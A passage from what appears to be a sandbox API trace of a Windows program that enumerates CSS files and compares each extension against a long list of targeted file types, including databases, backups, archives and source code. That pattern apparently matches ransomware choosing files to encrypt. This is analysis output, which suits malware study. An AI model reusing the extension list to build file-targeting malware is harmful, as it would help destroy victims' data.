ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0259.935] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0259.935] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0259.935] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1 [0259.935] lstrlenW (lpString="main-cef-mac.css") returned 16 [0259.935] lstrlenW (lpString=".1cd") returned 4 [0259.935] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0259.935] lstrlenW (lpString=".3ds") returned 4 [0259.935] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0259.935] lstrlenW (lpString=".3fr") returned 4 [0259.935] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0259.935] lstrlenW (lpString=".3g2") returned 4 [0259.935] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0259.936] lstrlenW (lpString=".3gp") returned 4 [0259.936] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0259.936] lstrlenW (lpString=".7z") returned 3 [0259.936] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0259.936] lstrlenW (lpString=".accda") returned 6 [0259.936] lstrcmpiW (lpString1=".accda", lpString2="ac.css") returned -1 [0259.936] lstrlenW (lpString=".accdb") returned 6 [0259.936] lstrcmpiW (lpString1=".accdb", lpString2="ac.css") returned -1 [0259.936] lstrlenW (lpString=".accdc") returned 6 [0259.936] lstrcmpiW (lpString1=".accdc", lpString2="ac.css") returned -1 [0259.936] lstrlenW (lpString=".accde") returned 6 [0259.936] lstrcmpiW (lpString1=".accde", lpString2="ac.css") returned -1 [0259.936] lstrlenW (lpString=".accdt") returned 6 [0259.936] lstrcmpiW (lpString1=".accdt", lpString2="ac.css") returned -1 [0259.936] lstrlenW (lpString=".accdw") returned 6 [0259.936] lstrcmpiW (lpString1=".accdw", lpString2="ac.css") returned -1 [0259.936] lstrlenW (lpString=".adb") returned 4 [0259.936] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0259.936] lstrlenW (lpString=".adp") returned 4 [0259.936] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0259.936] lstrlenW (lpString=".ai") returned 3 [0259.936] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0259.936] lstrlenW (lpString=".ai3") returned 4 [0259.936] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0259.936] lstrlenW (lpString=".ai4") returned 4 [0259.936] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0259.937] lstrlenW (lpString=".ai5") returned 4 [0259.937] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0259.937] lstrlenW (lpString=".ai6") returned 4 [0259.937] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0259.937] lstrlenW (lpString=".ai7") returned 4 [0259.937] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0259.937] lstrlenW (lpString=".ai8") returned 4 [0259.937] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0259.937] lstrlenW (lpString=".anim") returned 5 [0259.937] lstrcmpiW (lpString1=".anim", lpString2="c.css") returned -1 [0259.937] lstrlenW (lpString=".arw") returned 4 [0259.937] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0259.937] lstrlenW (lpString=".as") returned 3 [0259.937] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0259.937] lstrlenW (lpString=".asa") returned 4 [0259.937] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0259.937] lstrlenW (lpString=".asc") returned 4 [0259.937] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0259.937] lstrlenW (lpString=".ascx") returned 5 [0259.937] lstrcmpiW (lpString1=".ascx", lpString2="c.css") returned -1 [0259.938] lstrlenW (lpString=".asm") returned 4 [0259.938] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0259.938] lstrlenW (lpString=".asmx") returned 5 [0259.938] lstrcmpiW (lpString1=".asmx", lpString2="c.css") returned -1 [0259.938] lstrlenW (lpString=".asp") returned 4 [0259.938] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0259.938] lstrlenW (lpString=".aspx") returned 5 [0259.938] lstrcmpiW (lpString1=".aspx", lpString2="c.css") returned -1 [0259.938] lstrlenW (lpString=".asr") returned 4 [0259.938] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0259.938] lstrlenW (lpString=".asx") returned 4 [0259.938] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0259.938] lstrlenW (lpString=".avi") returned 4 [0259.938] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0259.938] lstrlenW (lpString=".avs") returned 4 [0259.938] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0259.938] lstrlenW (lpString=".backup") returned 7 [0259.938] lstrcmpiW (lpString1=".backup", lpString2="mac.css") returned -1 [0259.938] lstrlenW (lpString=".bak") returned 4 [0259.938] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0259.938] lstrlenW (lpString=".bay") returned 4 [0259.938] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0259.938] lstrlenW (lpString=".bd") returned 3 [0259.938] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0259.938] lstrlenW (lpString=".bin") returned 4 [0259.939] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0259.939] lstrlenW (lpString=".bmp") returned 4 [0259.939] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0259.939] lstrlenW (lpString=".bz2") returned 4 [0259.939] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0259.939] lstrlenW (lpString=".c") returned 2 [0259.939] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0259.939] lstrlenW (lpString=".cdr") returned 4 [0259.939] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0259.939] lstrlenW (lpString=".cer") returned 4 [0259.939] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0259.939] lstrlenW (lpString=".cf") returned 3 [0259.939] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0259.939] lstrlenW (lpString=".cfc") returned 4 [0259.939] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0259.940] lstrlenW (lpString=".cfm") returned 4 [0259.940] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0259.940] lstrlenW (lpString=".cfml") returned 5 [0259.940] lstrcmpiW (lpString1=".cfml", lpString2="c.css") returned -1 [0259.940] lstrlenW (lpString=".cfu") returned 4 [0259.940] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0259.940] lstrlenW (lpString=".chm") returned 4 [0259.940] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0259.940] lstrlenW (lpString=".cin") returned 4 [0259.940] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0259.940] lstrlenW (lpString=".class") returned 6 [0259.940] lstrcmpiW (lpString1=".class", lpString2="ac.css") returned -1 [0259.940] lstrlenW (lpString=".clx") returned 4 [0259.940] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0259.940] lstrlenW (lpString=".config") returned 7 [0259.940] lstrcmpiW (lpString1=".config", lpString2="mac.css") returned -1 [0259.940] lstrlenW (lpString=".cpp") returned 4 [0259.940] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0259.940] lstrlenW (lpString=".cr2") returned 4 [0259.940] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0259.940] lstrlenW (lpString=".crt") returned 4 [0259.940] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0259.940] lstrlenW (lpString=".crw") returned 4 [0259.940] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0259.941] lstrlenW (lpString=".cs") returned 3 [0259.941] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0259.941] lstrlenW (lpString=".css") returned 4 [0259.941] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0259.941] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-ui-theme.css", cAlternateFileName="MAIN-C~3.CSS")) returned 1 [0259.941] lstrlenW (lpString="main-cef-ui-theme.css") returned 21 [0259.941] lstrlenW (lpString=".1cd") returned 4 [0259.941] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0259.941] lstrlenW (lpString=".3ds") returned 4 [0259.941] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0259.941] lstrlenW (lpString=".3fr") returned 4 [0259.941] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0259.941] lstrlenW (lpString=".3g2") returned 4 [0259.941] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0259.941] lstrlenW (lpString=".3gp") returned 4 [0259.941] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0259.941] lstrlenW (lpString=".7z") returned 3 [0259.941] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0259.941] lstrlenW (lpString=".accda") returned 6 [0259.942] lstrcmpiW (lpString1=".accda", lpString2="me.css") returned -1 [0259.942] lstrlenW (lpString=".accdb") returned 6 [0259.942] lstrcmpiW (lpString1=".accdb", lpString2="me.css") returned -1 [0259.942] lstrlenW (lpString=".accdc") returned 6 [0259.942] lstrcmpiW (lpString1=".accdc", lpString2="me.css") returned -1 [0259.942] lstrlenW (lpString=".accde") returned 6 [0259.942] lstrcmpiW (lpString1=".accde", lpString2="me.css") returned -1 [0259.942] lstrlenW (lpString=".accdt") returned 6 [0259.942] lstrcmpiW (lpString1=".accdt", lpString2="me.css") returned -1 [0259.942] lstrlenW (lpString=".accdw") returned 6 [0259.942] lstrcmpiW (lpString1=".accdw", lpString2="me.css") returned -1 [0259.942] lstrlenW (lpString=".adb") returned 4 [0259.942] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0259.942] lstrlenW (lpString=".adp") returned 4 [0259.942] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0259.942] lstrlenW (lpString=".ai") returned 3 [0259.942] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0259.942] lstrlenW (lpString=".ai3") returned 4 [0259.942] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0259.942] lstrlenW (lpString=".ai4") returned 4 [0259.942] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0259.942] lstrlenW (lpString=".ai5") returned 4 [0259.942] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0259.942] lstrlenW (lpString=".ai6") returned 4 [0259.942] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0259.942] lstrlenW (lpString=".ai7") returned 4 [0259.943] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0259.943] lstrlenW (lpString=".ai8") returned 4 [0259.943] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0259.943] lstrlenW (lpString=".anim") returned 5 [0259.943] lstrcmpiW (lpString1=".anim", lpString2="e.css") returned -1 [0259.943] lstrlenW (lpString=".arw") returned 4 [0259.943] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0259.943] lstrlenW (lpString=".as") returned 3 [0259.943] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0259.943] lstrlenW (lpString=".asa") returned 4 [0259.943] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0259.943] lstrlenW (lpString=".asc") returned 4 [0259.943] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0259.943] lstrlenW (lpString=".ascx") returned 5 [0259.943] lstrcmpiW (lpString1=".ascx", lpString2="e.css") returned -1 [0259.943] lstrlenW (lpString=".asm") returned 4 [0259.943] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0259.943] lstrlenW (lpString=".asmx") returned 5 [0259.943] lstrcmpiW (lpString1=".asmx", lpString2="e.css") returned -1 [0259.943] lstrlenW (lpString=".asp") returned 4 [0259.943] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0259.943] lstrlenW (lpString=".aspx") returned 5 [0259.943] lstrcmpiW (lpString1=".aspx", lpString2="e.css") returned -1 [0259.943] lstrlenW (lpString=".asr") returned 4 [0259.943] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".asx") returned 4 [0259.944] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".avi") returned 4 [0259.944] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".avs") returned 4 [0259.944] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".backup") returned 7 [0259.944] lstrcmpiW (lpString1=".backup", lpString2="eme.css") returned -1 [0259.944] lstrlenW (lpString=".bak") returned 4 [0259.944] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".bay") returned 4 [0259.944] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".bd") returned 3 [0259.944] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0259.944] lstrlenW (lpString=".bin") returned 4 [0259.944] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".bmp") returned 4 [0259.944] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".bz2") returned 4 [0259.944] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".c") returned 2 [0259.944] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0259.944] lstrlenW (lpString=".cdr") returned 4 [0259.944] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".cer") returned 4 [0259.944] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".cf") returned 3 [0259.944] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0259.944] lstrlenW (lpString=".cfc") returned 4 [0259.944] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".cfm") returned 4 [0259.944] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0259.944] lstrlenW (lpString=".cfml") returned 5 [0259.944] lstrcmpiW (lpString1=".cfml", lpString2="e.css") returned -1 [0259.944] lstrlenW (lpString=".cfu") returned 4 [0259.945] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".chm") returned 4 [0259.945] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".cin") returned 4 [0259.945] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".class") returned 6 [0259.945] lstrcmpiW (lpString1=".class", lpString2="me.css") returned -1 [0259.945] lstrlenW (lpString=".clx") returned 4 [0259.945] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".config") returned 7 [0259.945] lstrcmpiW (lpString1=".config", lpString2="eme.css") returned -1 [0259.945] lstrlenW (lpString=".cpp") returned 4 [0259.945] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".cr2") returned 4 [0259.945] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".crt") returned 4 [0259.945] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".crw") returned 4 [0259.945] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".cs") returned 3 [0259.945] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0259.945] lstrlenW (lpString=".css") returned 4 [0259.945] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0259.945] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x263a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win.css", cAlternateFileName="MAIN-C~4.CSS")) returned 1 [0259.945] lstrlenW (lpString="main-cef-win.css") returned 16 [0259.945] lstrlenW (lpString=".1cd") returned 4 [0259.945] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".3ds") returned 4 [0259.945] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".3fr") returned 4 [0259.945] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".3g2") returned 4 [0259.945] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0259.945] lstrlenW (lpString=".3gp") returned 4 [0259.945] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0259.946] lstrlenW (lpString=".7z") returned 3 [0259.946] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0259.946] lstrlenW (lpString=".accda") returned 6 [0259.946] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1 [0259.946] lstrlenW (lpString=".accdb") returned 6 [0259.946] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1 [0259.946] lstrlenW (lpString=".accdc") returned 6 [0259.946] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1 [0259.946] lstrlenW (lpString=".accde") returned 6 [0259.946] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1 [0259.946] lstrlenW (lpString=".accdt") returned 6 [0259.946] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1 [0259.946] lstrlenW (lpString=".accdw") returned 6 [0259.946] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1 [0259.946] lstrlenW (lpString=".adb") returned 4 [0259.946] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0259.946] lstrlenW (lpString=".adp") returned 4 [0259.946] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0259.946] lstrlenW (lpString=".ai") returned 3 [0259.946] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0259.947] lstrlenW (lpString=".ai3") returned 4 [0259.947] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0259.947] lstrlenW (lpString=".ai4") returned 4 [0259.947] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0259.947] lstrlenW (lpString=".ai5") returned 4 [0259.947] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0259.947] lstrlenW (lpString=".ai6") returned 4 [0259.947] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0259.947] lstrlenW (lpString=".ai7") returned 4 [0259.947] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0259.947] lstrlenW (lpString=".ai8") returned 4 [0259.947] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0259.947] lstrlenW (lpString=".anim") returned 5 [0259.947] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1 [0259.947] lstrlenW (lpString=".arw") returned 4 [0259.947] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0259.947] lstrlenW (lpString=".as") returned 3 [0259.947] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0259.947] lstrlenW (lpString=".asa") returned 4 [0259.947] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0259.947] lstrlenW (lpString=".asc") returned 4 [0259.948] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0259.948] lstrlenW (lpString=".ascx") returned 5 [0259.948] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1 [0259.948] lstrlenW (lpString=".asm") returned 4 [0259.948] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0259.948] lstrlenW (lpString=".asmx") returned 5 [0259.948] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1 [0259.948] lstrlenW (lpString=".asp") returned 4 [0259.948] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0259.948] lstrlenW (lpString=".aspx") returned 5 [0259.948] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1 [0259.948] lstrlenW (lpString=".asr") returned 4 [0259.948] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0259.948] lstrlenW (lpString=".asx") returned 4 [0259.948] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0259.948] lstrlenW (lpString=".avi") returned 4 [0259.948] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0259.948] lstrlenW (lpString=".avs") returned 4 [0259.948] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0259.948] lstrlenW (lpString=".backup") returned 7 [0259.948] lstrcmpiW (lpString1=".backup", lpString2="win.css") returned -1 [0259.948] lstrlenW (lpString=".bak") returned 4 [0259.948] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0259.948] lstrlenW (lpString=".bay") returned 4 [0259.948] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0259.948] lstrlenW (lpString=".bd") returned 3 [0259.948] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0259.949] lstrlenW (lpString=".bin") returned 4 [0259.949] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0259.949] lstrlenW (lpString=".bmp") returned 4 [0259.949] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0259.949] lstrlenW (lpString=".bz2") returned 4 [0259.949] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0259.949] lstrlenW (lpString=".c") returned 2 [0259.949] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0259.949] lstrlenW (lpString=".cdr") returned 4 [0259.949] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0259.949] lstrlenW (lpString=".cer") returned 4 [0259.949] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0259.949] lstrlenW (lpString=".cf") returned 3 [0259.949] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0259.949] lstrlenW (lpString=".cfc") returned 4 [0259.949] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0259.949] lstrlenW (lpString=".cfm") returned 4 [0259.949] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0259.949] lstrlenW (lpString=".cfml") returned 5 [0259.949] lstrcmpiW (lpString1=".cfml", lpString2="n.css") returned -1 [0259.949] lstrlenW (lpString=".cfu") returned 4 [0259.949] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0259.949] lstrlenW (lpString=".chm") returned 4 [0259.949] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0259.949] lstrlenW (lpString=".cin") returned 4 [0259.949] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0259.949] lstrlenW (lpString=".class") returned 6 [0259.949] lstrcmpiW (lpString1=".class", lpString2="in.css") returned -1 [0259.949] lstrlenW (lpString=".clx") returned 4 [0259.950] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0259.950] lstrlenW (lpString=".config") returned 7 [0259.950] lstrcmpiW (lpString1=".config", lpString2="win.css") returned -1 [0259.950] lstrlenW (lpString=".cpp") returned 4 [0259.950] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0259.950] lstrlenW (lpString=".cr2") returned 4 [0259.950] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0259.950] lstrlenW (lpString=".crt") returned 4 [0259.950] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0259.950] lstrlenW (lpString=".crw") returned 4 [0259.950] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0259.950] lstrlenW (lpString=".cs") returned 3 [0259.950] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0259.950] lstrlenW (lpString=".css") returned 4 [0259.950] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0259.950] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2169, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win8.css", cAlternateFileName="MAIN-C~1.CSS")) returned 1 [0259.950] lstrlenW (lpString="main-cef-win8.css") returned 17 [0259.950] lstrlenW (lpString=".1cd") returned 4 [0259.950] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0259.950] lstrlenW (lpString=".3ds") returned 4 [0259.950] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0259.950] lstrlenW (lpString=".3fr") returned 4 [0259.950] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0259.950] lstrlenW (lpString=".3g2") returned 4 [0259.950] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0259.950] lstrlenW (lpString=".3gp") returned 4 [0259.951] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0259.951] lstrlenW (lpString=".7z") returned 3 [0259.951] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0259.951] lstrlenW (lpString=".accda") returned 6 [0259.951] lstrcmpiW (lpString1=".accda", lpString2="n8.css") returned -1 [0259.951] lstrlenW (lpString=".accdb") returned 6 [0259.951] lstrcmpiW (lpString1=".accdb", lpString2="n8.css") returned -1 [0259.951] lstrlenW (lpString=".accdc") returned 6 [0259.951] lstrcmpiW (lpString1=".accdc", lpString2="n8.css") returned -1 [0259.951] lstrlenW (lpString=".accde") returned 6 [0259.951] lstrcmpiW (lpString1=".accde", lpString2="n8.css") returned -1 [0259.951] lstrlenW (lpString=".accdt") returned 6 [0259.951] lstrcmpiW (lpString1=".accdt", lpString2="n8.css") returned -1 [0259.951] lstrlenW (lpString=".accdw") returned 6 [0259.951] lstrcmpiW (lpString1=".accdw", lpString2="n8.css") returned -1 [0259.951] lstrlenW (lpString=".adb") returned 4 [0259.951] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0259.951] lstrlenW (lpString=".adp") returned 4 [0259.951] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0259.951] lstrlenW (lpString=".ai") returned 3 [0259.952] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0259.952] lstrlenW (lpString=".ai3") returned 4 [0259.952] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0259.952] lstrlenW (lpString=".ai4") returned 4 [0259.952] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0259.952] lstrlenW (lpString=".ai5") returned 4 [0259.952] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0259.952] lstrlenW (lpString=".ai6") returned 4 [0259.952] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0259.952] lstrlenW (lpString=".ai7") returned 4 [0259.952] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0259.952] lstrlenW (lpString=".ai8") returned 4 [0259.952] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0259.952] lstrlenW (lpString=".anim") returned 5 [0259.952] lstrcmpiW (lpString1=".anim", lpString2="8.css") returned -1 [0259.952] lstrlenW (lpString=".arw") returned 4 [0259.952] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0259.952] lstrlenW (lpString=".as") returned 3 [0259.952] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0259.952] lstrlenW (lpString=".asa") returned 4 [0259.952] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0259.952] lstrlenW (lpString=".asc") returned 